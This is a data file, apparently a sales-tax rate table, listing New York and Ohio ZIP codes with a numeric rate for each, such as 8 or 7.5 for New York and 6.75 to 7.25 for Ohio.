US-NY-14480,US,NY,14480,8,,,, US-NY-14481,US,NY,14481,8,,,, US-NY-14482,US,NY,14482,8,,,, US-NY-14485,US,NY,14485,8,,,, US-NY-14486,US,NY,14486,8,,,, US-NY-14487,US,NY,14487,8,,,, US-NY-14488,US,NY,14488,8,,,, US-NY-14489,US,NY,14489,8,,,, US-NY-14502,US,NY,14502,8,,,, US-NY-14504,US,NY,14504,7.5,,,, US-NY-14505,US,NY,14505,8,,,, US-NY-14506,US,NY,14506,8,,,, US-NY-14507,US,NY,14507,8,,,, US-NY-14508,US,NY,14508,8,,,, US-NY-14510,US,NY,14510,8,,,, US-NY-14511,US,NY,14511,8,,,, US-NY-14512,US,NY,14512,7.5,,,, US-NY-14513,US,NY,14513,8,,,, US-NY-14514,US,NY,14514,8,,,, US-NY-14515,US,NY,14515,8,,,, US-NY-14516,US,NY,14516,8,,,, US-NY-14517,US,NY,14517,8,,,, US-NY-14518,US,NY,14518,7.5,,,, US-NY-14519,US,NY,14519,8,,,, US-NY-14520,US,NY,14520,8,,,, US-NY-14521,US,NY,14521,8,,,, US-NY-14522,US,NY,14522,8,,,, US-NY-14525,US,NY,14525,8,,,, US-NY-14526,US,NY,14526,8,,,, US-NY-14527,US,NY,14527,8,,,, US-NY-14529,US,NY,14529,8,,,, US-NY-14530,US,NY,14530,8,,,, US-NY-14532,US,NY,14532,7.5,,,, US-NY-14533,US,NY,14533,8,,,, US-NY-14534,US,NY,14534,8,,,, US-NY-14536,US,NY,14536,8,,,, US-NY-14537,US,NY,14537,7.5,,,, US-NY-14538,US,NY,14538,8,,,, US-NY-14539,US,NY,14539,8,,,, US-NY-14541,US,NY,14541,8,,,, US-NY-14542,US,NY,14542,8,,,, US-NY-14543,US,NY,14543,8,,,, US-NY-14544,US,NY,14544,8,,,, US-NY-14545,US,NY,14545,8,,,, US-NY-14546,US,NY,14546,8,,,, US-NY-14547,US,NY,14547,7.5,,,, US-NY-14548,US,NY,14548,7.5,,,, US-NY-14549,US,NY,14549,8,,,, US-NY-14550,US,NY,14550,8,,,, US-NY-14551,US,NY,14551,8,,,, US-NY-14555,US,NY,14555,8,,,, US-NY-14556,US,NY,14556,8,,,, US-NY-14557,US,NY,14557,8,,,, US-NY-14558,US,NY,14558,8,,,, US-NY-14559,US,NY,14559,8,,,, US-NY-14560,US,NY,14560,7.5,,,, US-NY-14561,US,NY,14561,7.5,,,, US-NY-14563,US,NY,14563,8,,,, US-NY-14564,US,NY,14564,7.5,,,, US-NY-14568,US,NY,14568,8,,,, US-NY-14569,US,NY,14569,8,,,, US-NY-14571,US,NY,14571,8,,,, US-NY-14572,US,NY,14572,8,,,, US-NY-14580,US,NY,14580,8,,,, US-NY-14585,US,NY,14585,7.5,,,, US-NY-14586,US,NY,14586,8,,,, US-NY-14588,US,NY,14588,8,,,, US-NY-14589,US,NY,14589,8,,,, US-NY-14590,US,NY,14590,8,,,, US-NY-14591,US,NY,14591,8,,,, US-NY-14592,US,NY,14592,8,,,, US-NY-14602,US,NY,14602,8,,,, US-NY-14603,US,NY,14603,8,,,, US-NY-14604,US,NY,14604,8,,,, US-NY-14605,US,NY,14605,8,,,, US-NY-14606,US,NY,14606,8,,,, US-NY-14607,US,NY,14607,8,,,, US-NY-14608,US,NY,14608,8,,,, US-NY-14609,US,NY,14609,8,,,, US-NY-14610,US,NY,14610,8,,,, US-NY-14611,US,NY,14611,8,,,, US-NY-14612,US,NY,14612,8,,,, US-NY-14613,US,NY,14613,8,,,, US-NY-14614,US,NY,14614,8,,,, US-NY-14615,US,NY,14615,8,,,, US-NY-14616,US,NY,14616,8,,,, US-NY-14617,US,NY,14617,8,,,, US-NY-14618,US,NY,14618,8,,,, US-NY-14619,US,NY,14619,8,,,, US-NY-14620,US,NY,14620,8,,,, US-NY-14621,US,NY,14621,8,,,, US-NY-14622,US,NY,14622,8,,,, US-NY-14623,US,NY,14623,8,,,, US-NY-14624,US,NY,14624,8,,,, US-NY-14625,US,NY,14625,8,,,, US-NY-14626,US,NY,14626,8,,,, US-NY-14627,US,NY,14627,8,,,, US-NY-14638,US,NY,14638,8,,,, US-NY-14639,US,NY,14639,8,,,, US-NY-14642,US,NY,14642,8,,,, US-NY-14643,US,NY,14643,8,,,, US-NY-14644,US,NY,14644,8,,,, US-NY-14646,US,NY,14646,8,,,, US-NY-14647,US,NY,14647,8,,,, US-NY-14649,US,NY,14649,8,,,, US-NY-14650,US,NY,14650,8,,,, US-NY-14651,US,NY,14651,8,,,, US-NY-14652,US,NY,14652,8,,,, US-NY-14653,US,NY,14653,8,,,, US-NY-14692,US,NY,14692,8,,,, US-NY-14694,US,NY,14694,8,,,, US-NY-14701,US,NY,14701,7.5,,,, US-NY-14702,US,NY,14702,7.5,,,, US-NY-14706,US,NY,14706,8,,,, US-NY-14707,US,NY,14707,8.5,,,, US-NY-14708,US,NY,14708,8.5,,,, US-NY-14709,US,NY,14709,8.5,,,, US-NY-14710,US,NY,14710,7.5,,,, US-NY-14711,US,NY,14711,8.5,,,, US-NY-14712,US,NY,14712,7.5,,,, US-NY-14714,US,NY,14714,8.5,,,, US-NY-14715,US,NY,14715,8.5,,,, US-NY-14716,US,NY,14716,7.5,,,, US-NY-14717,US,NY,14717,8.5,,,, US-NY-14718,US,NY,14718,7.5,,,, US-NY-14719,US,NY,14719,8,,,, US-NY-14720,US,NY,14720,7.5,,,, US-NY-14721,US,NY,14721,8.5,,,, US-NY-14722,US,NY,14722,7.5,,,, US-NY-14723,US,NY,14723,7.5,,,, US-NY-14724,US,NY,14724,7.5,,,, US-NY-14726,US,NY,14726,8,,,, US-NY-14727,US,NY,14727,8.5,,,, US-NY-14728,US,NY,14728,7.5,,,, US-NY-14729,US,NY,14729,8,,,, US-NY-14730,US,NY,14730,8,,,, US-NY-14731,US,NY,14731,8,,,, US-NY-14732,US,NY,14732,7.5,,,, US-NY-14733,US,NY,14733,7.5,,,, US-NY-14735,US,NY,14735,8.5,,,, US-NY-14736,US,NY,14736,7.5,,,, US-NY-14737,US,NY,14737,8,,,, US-NY-14738,US,NY,14738,7.5,,,, US-NY-14739,US,NY,14739,8.5,,,, US-NY-14740,US,NY,14740,7.5,,,, US-NY-14741,US,NY,14741,8,,,, US-NY-14742,US,NY,14742,7.5,,,, US-NY-14743,US,NY,14743,8,,,, US-NY-14744,US,NY,14744,8.5,,,, US-NY-14745,US,NY,14745,8.5,,,, US-NY-14747,US,NY,14747,7.5,,,, US-NY-14748,US,NY,14748,8,,,, US-NY-14750,US,NY,14750,7.5,,,, US-NY-14751,US,NY,14751,8,,,, US-NY-14752,US,NY,14752,7.5,,,, US-NY-14753,US,NY,14753,8,,,, US-NY-14754,US,NY,14754,8.5,,,, US-NY-14755,US,NY,14755,8,,,, US-NY-14756,US,NY,14756,7.5,,,, US-NY-14757,US,NY,14757,7.5,,,, US-NY-14758,US,NY,14758,7.5,,,, US-NY-14760,US,NY,14760,8,,,, US-NY-14766,US,NY,14766,8,,,, US-NY-14767,US,NY,14767,7.5,,,, US-NY-14769,US,NY,14769,7.5,,,, US-NY-14770,US,NY,14770,8,,,, US-NY-14772,US,NY,14772,8,,,, US-NY-14774,US,NY,14774,8.5,,,, US-NY-14775,US,NY,14775,7.5,,,, US-NY-14777,US,NY,14777,8.5,,,, US-NY-14778,US,NY,14778,8,,,, US-NY-14779,US,NY,14779,8,,,, US-NY-14781,US,NY,14781,7.5,,,, US-NY-14782,US,NY,14782,7.5,,,, US-NY-14783,US,NY,14783,8,,,, US-NY-14784,US,NY,14784,7.5,,,, US-NY-14785,US,NY,14785,7.5,,,, US-NY-14786,US,NY,14786,8.5,,,, US-NY-14787,US,NY,14787,7.5,,,, US-NY-14788,US,NY,14788,8,,,, US-NY-14801,US,NY,14801,8,,,, US-NY-14802,US,NY,14802,8.5,,,, US-NY-14803,US,NY,14803,8.5,,,, US-NY-14804,US,NY,14804,8.5,,,, US-NY-14805,US,NY,14805,8,,,, US-NY-14806,US,NY,14806,8.5,,,, US-NY-14807,US,NY,14807,8,,,, US-NY-14808,US,NY,14808,8,,,, US-NY-14809,US,NY,14809,8,,,, US-NY-14810,US,NY,14810,8,,,, US-NY-14812,US,NY,14812,8,,,, US-NY-14813,US,NY,14813,8.5,,,, US-NY-14814,US,NY,14814,8,,,, US-NY-14815,US,NY,14815,8,,,, US-NY-14816,US,NY,14816,8,,,, US-NY-14817,US,NY,14817,8,,,, US-NY-14818,US,NY,14818,8,,,, US-NY-14819,US,NY,14819,8,,,, US-NY-14820,US,NY,14820,8,,,, US-NY-14821,US,NY,14821,8,,,, US-NY-14822,US,NY,14822,8.5,,,, US-NY-14823,US,NY,14823,8,,,, US-NY-14824,US,NY,14824,8,,,, US-NY-14825,US,NY,14825,8,,,, US-NY-14826,US,NY,14826,8,,,, US-NY-14827,US,NY,14827,8,,,, US-NY-14830,US,NY,14830,8,,,, US-NY-14831,US,NY,14831,8,,,, US-NY-14836,US,NY,14836,8,,,, US-NY-14837,US,NY,14837,8,,,, US-NY-14838,US,NY,14838,8,,,, US-NY-14839,US,NY,14839,8,,,, US-NY-14840,US,NY,14840,8,,,, US-NY-14841,US,NY,14841,8,,,, US-NY-14842,US,NY,14842,8,,,, US-NY-14843,US,NY,14843,8,,,, US-NY-14845,US,NY,14845,8,,,, US-NY-14846,US,NY,14846,8,,,, US-NY-14847,US,NY,14847,8,,,, US-NY-14850,US,NY,14850,8,,,, US-NY-14851,US,NY,14851,8,,,, US-NY-14852,US,NY,14852,8,,,, US-NY-14853,US,NY,14853,8,,,, US-NY-14854,US,NY,14854,8,,,, US-NY-14855,US,NY,14855,8,,,, US-NY-14856,US,NY,14856,8,,,, US-NY-14857,US,NY,14857,8,,,, US-NY-14858,US,NY,14858,8,,,, US-NY-14859,US,NY,14859,8,,,, US-NY-14860,US,NY,14860,8,,,, US-NY-14861,US,NY,14861,8,,,, US-NY-14863,US,NY,14863,8,,,, US-NY-14864,US,NY,14864,8,,,, US-NY-14865,US,NY,14865,8,,,, US-NY-14867,US,NY,14867,8,,,, US-NY-14869,US,NY,14869,8,,,, US-NY-14870,US,NY,14870,8,,,, US-NY-14871,US,NY,14871,8,,,, US-NY-14872,US,NY,14872,8,,,, US-NY-14873,US,NY,14873,8,,,, US-NY-14874,US,NY,14874,8,,,, US-NY-14876,US,NY,14876,8,,,, US-NY-14877,US,NY,14877,8,,,, US-NY-14878,US,NY,14878,8,,,, US-NY-14879,US,NY,14879,8,,,, US-NY-14880,US,NY,14880,8.5,,,, US-NY-14881,US,NY,14881,8,,,, US-NY-14882,US,NY,14882,8,,,, US-NY-14883,US,NY,14883,8,,,, US-NY-14884,US,NY,14884,8.5,,,, US-NY-14885,US,NY,14885,8,,,, US-NY-14886,US,NY,14886,8,,,, US-NY-14887,US,NY,14887,8,,,, US-NY-14889,US,NY,14889,8,,,, US-NY-14891,US,NY,14891,8,,,, US-NY-14892,US,NY,14892,8,,,, US-NY-14893,US,NY,14893,8,,,, US-NY-14894,US,NY,14894,8,,,, US-NY-14895,US,NY,14895,8.5,,,, US-NY-14897,US,NY,14897,8.5,,,, US-NY-14898,US,NY,14898,8,,,, US-NY-14901,US,NY,14901,8,,,, US-NY-14902,US,NY,14902,8,,,, US-NY-14903,US,NY,14903,8,,,, US-NY-14904,US,NY,14904,8,,,, US-NY-14905,US,NY,14905,8,,,, US-NY-14925,US,NY,14925,8,,,, US-OH-43001,US,OH,43001,7.25,,,, US-OH-43002,US,OH,43002,7,,,, US-OH-43003,US,OH,43003,7,,,, US-OH-43004,US,OH,43004,7,,,, US-OH-43005,US,OH,43005,6.75,,,, US-OH-43006,US,OH,43006,6.75,,,, US-OH-43007,US,OH,43007,7,,,, US-OH-43008,US,OH,43008,7.25,,,, US-OH-43009,US,OH,43009,7.25,,,, US-OH-43010,US,OH,43010,7.25,,,, US-OH-43011,US,OH,43011,6.75,,,, US-OH-43013,US,OH,43013,7.25,,,, US-OH-43014,US,OH,43014,6.75,,,, US-OH-43015,US,OH,43015,7,,,, US-OH-43016,US,OH,43016,7,,,, US-OH-43017,US,OH,43017,7,,,, US-OH-43018,US,OH,43018,7.25,,,, US-OH-43019,US,OH,43019,6.75,,,, US-OH-43021,US,OH,43021,7,,,, US-OH-43022,US,OH,43022,6.75,,,, US-OH-43023,US,OH,43023,7.25,,,, US-OH-43025,US,OH,43025,7.25,,,, US-OH-43026,US,OH,43026,7,,,, US-OH-43027,US,OH,43027,7.25,,,, US-OH-43028,US,OH,43028,6.75,,,, US-OH-43029,US,OH,43029,7,,,, US-OH-43030,US,OH,43030,7.25,,,, US-OH-43031,US,OH,43031,7.25,,,, US-OH-43032,US,OH,43032,7,,,, US-OH-43033,US,OH,43033,7.25,,,, US-OH-43035,US,OH,43035,7,,,, US-OH-43036,US,OH,43036,7,,,, US-OH-43037,US,OH,43037,6.75,,,, US-OH-43040,US,OH,43040,7,,,, US-OH-43041,US,OH,43041,7,,,, US-OH-43044,US,OH,43044,7.25,,,, US-OH-43045,US,OH,43045,7,,,, US-OH-43046,US,OH,43046,6.75,,,, US-OH-43047,US,OH,43047,7.25,,,, US-OH-43048,US,OH,43048,6.75,,,, US-OH-43050,US,OH,43050,6.75,,,, US-OH-43054,US,OH,43054,7,,,, US-OH-43055,US,OH,43055,7.25,,,, US-OH-43056,US,OH,43056,7.25,,,, US-OH-43058,US,OH,43058,7.25,,,, US-OH-43060,US,OH,43060,7.25,,,, US-OH-43061,US,OH,43061,7,,,, US-OH-43062,US,OH,43062,7.25,,,, US-OH-43064,US,OH,43064,7,,,, US-OH-43065,US,OH,43065,7,,,, US-OH-43066,US,OH,43066,7,,,, US-OH-43067,US,OH,43067,7,,,, US-OH-43068,US,OH,43068,7,,,, US-OH-43069,US,OH,43069,7.25,,,, US-OH-43070,US,OH,43070,7.25,,,, US-OH-43071,US,OH,43071,7.25,,,, US-OH-43072,US,OH,43072,7.25,,,, US-OH-43073,US,OH,43073,7.25,,,, US-OH-43074,US,OH,43074,7,,,, US-OH-43076,US,OH,43076,7.25,,,, US-OH-43077,US,OH,43077,7,,,, US-OH-43078,US,OH,43078,7.25,,,, US-OH-43080,US,OH,43080,7.25,,,, US-OH-43081,US,OH,43081,7,,,, US-OH-43082,US,OH,43082,7,,,, US-OH-43083,US,OH,43083,7.25,,,, US-OH-43084,US,OH,43084,7.25,,,, US-OH-43085,US,OH,43085,7,,,, US-OH-43086,US,OH,43086,7,,,, US-OH-43093,US,OH,43093,7.25,,,, US-OH-43101,US,OH,43101,7.25,,,, US-OH-43102,US,OH,43102,6.75,,,, US-OH-43103,US,OH,43103,7.25,,,, US-OH-43105,US,OH,43105,6.75,,,, US-OH-43106,US,OH,43106,7.25,,,, US-OH-43107,US,OH,43107,6.75,,,, US-OH-43109,US,OH,43109,7,,,, US-OH-43110,US,OH,43110,7,,,, US-OH-43111,US,OH,43111,7,,,, US-OH-43112,US,OH,43112,6.75,,,, US-OH-43113,US,OH,43113,7.25,,,, US-OH-43115,US,OH,43115,7.25,,,, US-OH-43116,US,OH,43116,7.25,,,, US-OH-43117,US,OH,43117,7.25,,,, US-OH-43119,US,OH,43119,7,,,, US-OH-43123,US,OH,43123,7,,,, US-OH-43125,US,OH,43125,7,,,, US-OH-43126,US,OH,43126,7,,,, US-OH-43127,US,OH,43127,7,,,, US-OH-43128,US,OH,43128,7.25,,,, US-OH-43130,US,OH,43130,6.75,,,, US-OH-43135,US,OH,43135,7,,,, US-OH-43136,US,OH,43136,6.75,,,, US-OH-43137,US,OH,43137,7,,,, US-OH-43138,US,OH,43138,7,,,, US-OH-43140,US,OH,43140,7,,,, US-OH-43142,US,OH,43142,7.25,,,, US-OH-43143,US,OH,43143,7,,,, US-OH-43144,US,OH,43144,7,,,, US-OH-43145,US,OH,43145,7.25,,,, US-OH-43146,US,OH,43146,7.25,,,, US-OH-43147,US,OH,43147,6.75,,,, US-OH-43148,US,OH,43148,6.75,,,, US-OH-43149,US,OH,43149,7,,,, US-OH-43150,US,OH,43150,6.75,,,, US-OH-43151,US,OH,43151,7,,,, US-OH-43152,US,OH,43152,7,,,, US-OH-43153,US,OH,43153,7,,,, US-OH-43154,US,OH,43154,6.75,,,, US-OH-43155,US,OH,43155,6.75,,,, US-OH-43156,US,OH,43156,6.75,,,, US-OH-43157,US,OH,43157,6.75,,,, US-OH-43158,US,OH,43158,7,,,, US-OH-43160,US,OH,43160,7.25,,,, US-OH-43162,US,OH,43162,7,,,, US-OH-43164,US,OH,43164,7.25,,,, US-OH-43194,US,OH,43194,7,,,, US-OH-43195,US,OH,43195,7,,,, US-OH-43199,US,OH,43199,7,,,, US-OH-43201,US,OH,43201,7,,,, US-OH-43202,US,OH,43202,7,,,, US-OH-43203,US,OH,43203,7,,,, US-OH-43204,US,OH,43204,7,,,, US-OH-43205,US,OH,43205,7,,,, US-OH-43206,US,OH,43206,7,,,, US-OH-43207,US,OH,43207,7,,,, US-OH-43209,US,OH,43209,7,,,, US-OH-43210,US,OH,43210,7,,,, US-OH-43211,US,OH,43211,7,,,, US-OH-43212,US,OH,43212,7,,,, US-OH-43213,US,OH,43213,7,,,, US-OH-43214,US,OH,43214,7,,,, US-OH-43215,US,OH,43215,7,,,, US-OH-43216,US,OH,43216,7,,,, US-OH-43217,US,OH,43217,7,,,, US-OH-43218,US,OH,43218,7,,,, US-OH-43219,US,OH,43219,7,,,, US-OH-43220,US,OH,43220,7,,,, US-OH-43221,US,OH,43221,7,,,, US-OH-43222,US,OH,43222,7,,,, US-OH-43223,US,OH,43223,7,,,, US-OH-43224,US,OH,43224,7,,,, US-OH-43226,US,OH,43226,7,,,, US-OH-43227,US,OH,43227,7,,,, US-OH-43228,US,OH,43228,7,,,, US-OH-43229,US,OH,43229,7,,,, US-OH-43230,US,OH,43230,7,,,, US-OH-43231,US,OH,43231,7,,,, US-OH-43232,US,OH,43232,7,,,, US-OH-43234,US,OH,43234,7,,,, US-OH-43235,US,OH,43235,7,,,, US-OH-43236,US,OH,43236,7,,,, US-OH-43240,US,OH,43240,7.5,,,, US-OH-43251,US,OH,43251,7,,,, US-OH-43260,US,OH,43260,7,,,, US-OH-43266,US,OH,43266,7,,,, US-OH-43268,US,OH,43268,7,,,, US-OH-43270,US,OH,43270,7,,,, US-OH-43271,US,OH,43271,7,,,, US-OH-43272,US,OH,43272,7,,,, US-OH-43279,US,OH,43279,7,,,, US-OH-43291,US,OH,43291,7,,,, US-OH-43301,US,OH,43301,6.75,,,, US-OH-43302,US,OH,43302,6.75,,,, US-OH-43306,US,OH,43306,6.75,,,, US-OH-43310,US,OH,43310,7.25,,,, US-OH-43311,US,OH,43311,7.25,,,, US-OH-43314,US,OH,43314,6.75,,,, US-OH-43315,US,OH,43315,7.25,,,, US-OH-43316,US,OH,43316,7.25,,,, US-OH-43317,US,OH,43317,7.25,,,, US-OH-43318,US,OH,43318,7.25,,,, US-OH-43319,US,OH,43319,7.25,,,, US-OH-43320,US,OH,43320,7.25,,,, US-OH-43321,US,OH,43321,7.25,,,, US-OH-43322,US,OH,43322,6.75,,,, US-OH-43323,US,OH,43323,7.25,,,, US-OH-43324,US,OH,43324,7.25,,,, US-OH-43325,US,OH,43325,7.25,,,, US-OH-43326,US,OH,43326,7.25,,,, US-OH-43330,US,OH,43330,7.25,,,, US-OH-43331,US,OH,43331,7.25,,,, US-OH-43332,US,OH,43332,6.75,,,, US-OH-43333,US,OH,43333,7.25,,,, US-OH-43334,US,OH,43334,7.25,,,, US-OH-43335,US,OH,43335,6.75,,,, US-OH-43336,US,OH,43336,7.25,,,, US-OH-43337,US,OH,43337,6.75,,,, US-OH-43338,US,OH,43338,7.25,,,, US-OH-43340,US,OH,43340,7.25,,,, US-OH-43341,US,OH,43341,6.75,,,, US-OH-43342,US,OH,43342,6.75,,,, US-OH-43343,US,OH,43343,7.25,,,, US-OH-43344,US,OH,43344,7,,,, US-OH-43345,US,OH,43345,7.25,,,, US-OH-43346,US,OH,43346,7.25,,,, US-OH-43347,US,OH,43347,7.25,,,, US-OH-43348,US,OH,43348,7.25,,,, US-OH-43349,US,OH,43349,7.25,,,, US-OH-43350,US,OH,43350,7.25,,,, US-OH-43351,US,OH,43351,7.25,,,, US-OH-43356,US,OH,43356,6.75,,,, US-OH-43357,US,OH,43357,7.25,,,, US-OH-43358,US,OH,43358,7.25,,,, US-OH-43359,US,OH,43359,7.25,,,, US-OH-43360,US,OH,43360,7.25,,,, US-OH-43402,US,OH,43402,6.75,,,, US-OH-43403,US,OH,43403,6.75,,,, US-OH-43406,US,OH,43406,6.75,,,, US-OH-43407,US,OH,43407,7.25,,,, US-OH-43408,US,OH,43408,7,,,, US-OH-43410,US,OH,43410,7.25,,,, US-OH-43412,US,OH,43412,7,,,, US-OH-43413,US,OH,43413,6.75,,,, US-OH-43414,US,OH,43414,6.75,,,, US-OH-43416,US,OH,43416,7,,,, US-OH-43420,US,OH,43420,7.25,,,, US-OH-43430,US,OH,43430,7,,,, US-OH-43431,US,OH,43431,7.25,,,, US-OH-43432,US,OH,43432,7,,,, US-OH-43433,US,OH,43433,7,,,, US-OH-43434,US,OH,43434,7,,,, US-OH-43435,US,OH,43435,7.25,,,, US-OH-43436,US,OH,43436,7,,,, US-OH-43437,US,OH,43437,6.75,,,, US-OH-43438,US,OH,43438,7,,,, US-OH-43439,US,OH,43439,7,,,, US-OH-43440,US,OH,43440,7,,,, US-OH-43441,US,OH,43441,6.75,,,, US-OH-43442,US,OH,43442,7.25,,,, US-OH-43443,US,OH,43443,6.75,,,, US-OH-43445,US,OH,43445,7,,,, US-OH-43446,US,OH,43446,7,,,, US-OH-43447,US,OH,43447,6.75,,,, US-OH-43449,US,OH,43449,7,,,, US-OH-43450,US,OH,43450,6.75,,,, US-OH-43451,US,OH,43451,6.75,,,, US-OH-43452,US,OH,43452,7,,,, US-OH-43456,US,OH,43456,7,,,, US-OH-43457,US,OH,43457,6.75,,,, US-OH-43458,US,OH,43458,7,,,, US-OH-43460,US,OH,43460,6.75,,,, US-OH-43462,US,OH,43462,6.75,,,, US-OH-43463,US,OH,43463,6.75,,,, US-OH-43464,US,OH,43464,7.25,,,, US-OH-43465,US,OH,43465,6.75,,,, US-OH-43466,US,OH,43466,6.75,,,, US-OH-43467,US,OH,43467,6.75,,,, US-OH-43468,US,OH,43468,7,,,, US-OH-43469,US,OH,43469,7.25,,,, US-OH-43501,US,OH,43501,7.25,,,, US-OH-43502,US,OH,43502,7.25,,,, US-OH-43504,US,OH,43504,7,,,, US-OH-43505,US,OH,43505,7.25,,,, US-OH-43506,US,OH,43506,7.25,,,, US-OH-43510,US,OH,43510,7.25,,,, US-OH-43511,US,OH,43511,6.75,,,, US-OH-43512,US,OH,43512,6.75,,,, US-OH-43515,US,OH,43515,7.25,,,, US-OH-43516,US,OH,43516,7.25,,,, US-OH-43517,US,OH,43517,7.25,,,, US-OH-43518,US,OH,43518,7.25,,,, US-OH-43519,US,OH,43519,7.25,,,, US-OH-43520,US,OH,43520,6.75,,,, US-OH-43521,US,OH,43521,7.25,,,, US-OH-43522,US,OH,43522,6.75,,,, US-OH-43523,US,OH,43523,6.75,,,, US-OH-43524,US,OH,43524,7.25,,,, US-OH-43525,US,OH,43525,6.75,,,, US-OH-43526,US,OH,43526,6.75,,,, US-OH-43527,US,OH,43527,7.25,,,, US-OH-43528,US,OH,43528,7,,,, US-OH-43529,US,OH,43529,6.75,,,, US-OH-43530,US,OH,43530,6.75,,,, US-OH-43531,US,OH,43531,7.25,,,, US-OH-43532,US,OH,43532,7.25,,,, US-OH-43533,US,OH,43533,7.25,,,, US-OH-43534,US,OH,43534,7.25,,,, US-OH-43535,US,OH,43535,7.25,,,, US-OH-43536,US,OH,43536,6.75,,,, US-OH-43537,US,OH,43537,7,,,, US-OH-43540,US,OH,43540,7.25,,,, US-OH-43541,US,OH,43541,6.75,,,, US-OH-43542,US,OH,43542,7,,,, US-OH-43543,US,OH,43543,7.25,,,, US-OH-43545,US,OH,43545,7.25,,,, US-OH-43547,US,OH,43547,7,,,, US-OH-43548,US,OH,43548,7.25,,,, US-OH-43549,US,OH,43549,6.75,,,, US-OH-43550,US,OH,43550,7.25,,,, US-OH-43551,US,OH,43551,6.75,,,, US-OH-43552,US,OH,43552,6.75,,,, US-OH-43553,US,OH,43553,7.25,,,, US-OH-43554,US,OH,43554,7.25,,,, US-OH-43555,US,OH,43555,7.25,,,, US-OH-43556,US,OH,43556,6.75,,,, US-OH-43557,US,OH,43557,7.25,,,, US-OH-43558,US,OH,43558,7.25,,,, US-OH-43560,US,OH,43560,7,,,, US-OH-43565,US,OH,43565,6.75,,,, US-OH-43566,US,OH,43566,7,,,, US-OH-43567,US,OH,43567,7.25,,,, US-OH-43569,US,OH,43569,6.75,,,, US-OH-43570,US,OH,43570,7.25,,,, US-OH-43571,US,OH,43571,7,,,, US-OH-43601,US,OH,43601,7,,,, US-OH-43603,US,OH,43603,7,,,, US-OH-43604,US,OH,43604,7,,,, US-OH-43605,US,OH,43605,7,,,, US-OH-43606,US,OH,43606,7,,,, US-OH-43607,US,OH,43607,7,,,, US-OH-43608,US,OH,43608,7,,,, US-OH-43609,US,OH,43609,7,,,, US-OH-43610,US,OH,43610,7,,,, US-OH-43611,US,OH,43611,7,,,, US-OH-43612,US,OH,43612,7,,,, US-OH-43613,US,OH,43613,7,,,, US-OH-43614,US,OH,43614,7,,,, US-OH-43615,US,OH,43615,7,,,, US-OH-43616,US,OH,43616,7,,,, US-OH-43617,US,OH,43617,7,,,, US-OH-43619,US,OH,43619,6.75,,,, US-OH-43620,US,OH,43620,7,,,, US-OH-43623,US,OH,43623,7,,,, US-OH-43635,US,OH,43635,7,,,, US-OH-43652,US,OH,43652,7,,,, US-OH-43654,US,OH,43654,6.75,,,, US-OH-43656,US,OH,43656,7,,,, US-OH-43657,US,OH,43657,7,,,, US-OH-43659,US,OH,43659,7,,,, US-OH-43660,US,OH,43660,7,,,, US-OH-43661,US,OH,43661,7,,,, US-OH-43666,US,OH,43666,7,,,, US-OH-43667,US,OH,43667,7,,,, US-OH-43681,US,OH,43681,7,,,, US-OH-43682,US,OH,43682,7,,,, US-OH-43697,US,OH,43697,7,,,, US-OH-43699,US,OH,43699,7,,,, US-OH-43701,US,OH,43701,7.25,,,, US-OH-43702,US,OH,43702,7.25,,,, US-OH-43711,US,OH,43711,7.25,,,, US-OH-43713,US,OH,43713,7.25,,,, US-OH-43716,US,OH,43716,7.25,,,, US-OH-43717,US,OH,43717,7.25,,,, US-OH-43718,US,OH,43718,7.25,,,, US-OH-43719,US,OH,43719,7.25,,,, US-OH-43720,US,OH,43720,7.25,,,, US-OH-43721,US,OH,43721,7.25,,,, US-OH-43722,US,OH,43722,7.25,,,, US-OH-43723,US,OH,43723,7.25,,,, US-OH-43724,US,OH,43724,7.25,,,, US-OH-43725,US,OH,43725,7.25,,,, US-OH-43727,US,OH,43727,7.25,,,, US-OH-43728,US,OH,43728,7.25,,,, US-OH-43730,US,OH,43730,7.25,,,, US-OH-43731,US,OH,43731,7.25,,,, US-OH-43732,US,OH,43732,7.25,,,, US-OH-43733,US,OH,43733,7.25,,,, US-OH-43734,US,OH,43734,7.25,,,, US-OH-43735,US,OH,43735,7.25,,,, US-OH-43736,US,OH,43736,7.25,,,, US-OH-43738,US,OH,43738,7.25,,,, US-OH-43739,US,OH,43739,7.25,,,, US-OH-43740,US,OH,43740,7.25,,,, US-OH-43746,US,OH,43746,7.25,,,, US-OH-43747,US,OH,43747,7.25,,,, US-OH-43748,US,OH,43748,7.25,,,, US-OH-43749,US,OH,43749,7.25,,,, US-OH-43750,US,OH,43750,7.25,,,, US-OH-43752,US,OH,43752,7.25,,,, US-OH-43754,US,OH,43754,7.25,,,, US-OH-43755,US,OH,43755,7.25,,,, US-OH-43756,US,OH,43756,7.25,,,, US-OH-43757,US,OH,43757,7.25,,,, US-OH-43758,US,OH,43758,7.25,,,, US-OH-43759,US,OH,43759,7.25,,,, US-OH-43760,US,OH,43760,7.25,,,, US-OH-43761,US,OH,43761,7.25,,,, US-OH-43762,US,OH,43762,7.25,,,, US-OH-43764,US,OH,43764,7.25,,,, US-OH-43766,US,OH,43766,7.25,,,, US-OH-43767,US,OH,43767,7.25,,,, US-OH-43768,US,OH,43768,7.25,,,, US-OH-43771,US,OH,43771,7.25,,,, US-OH-43772,US,OH,43772,7.25,,,, US-OH-43773,US,OH,43773,7.25,,,, US-OH-43777,US,OH,43777,7.25,,,, US-OH-43778,US,OH,43778,7.25,,,, US-OH-43779,US,OH,43779,7.25,,,, US-OH-43780,US,OH,43780,7.25,,,, US-OH-43782,US,OH,43782,7.25,,,, US-OH-43783,US,OH,43783,7.25,,,, US-OH-43786,US,OH,43786,7.25,,,, US-OH-43787,US,OH,43787,7.25,,,, US-OH-43788,US,OH,43788,7.25,,,, US-OH-43791,US,OH,43791,7.25,,,, US-OH-43793,US,OH,43793,7.25,,,, US-OH-43802,US,OH,43802,7.25,,,, US-OH-43803,US,OH,43803,6.75,,,, US-OH-43804,US,OH,43804,6.75,,,, US-OH-43805,US,OH,43805,7.25,,,, US-OH-43811,US,OH,43811,7.25,,,, US-OH-43812,US,OH,43812,7.25,,,, US-OH-43821,US,OH,43821,7.25,,,, US-OH-43822,US,OH,43822,7.25,,,, US-OH-43824,US,OH,43824,7.25,,,, US-OH-43828,US,OH,43828,7.25,,,, US-OH-43830,US,OH,43830,7.25,,,, US-OH-43832,US,OH,43832,6.75,,,, US-OH-43836,US,OH,43836,7.25,,,, US-OH-43837,US,OH,43837,6.75,,,, US-OH-43840,US,OH,43840,6.75,,,, US-OH-43842,US,OH,43842,7.25,,,, US-OH-43843,US,OH,43843,7.25,,,, US-OH-43844,US,OH,43844,7.25,,,, 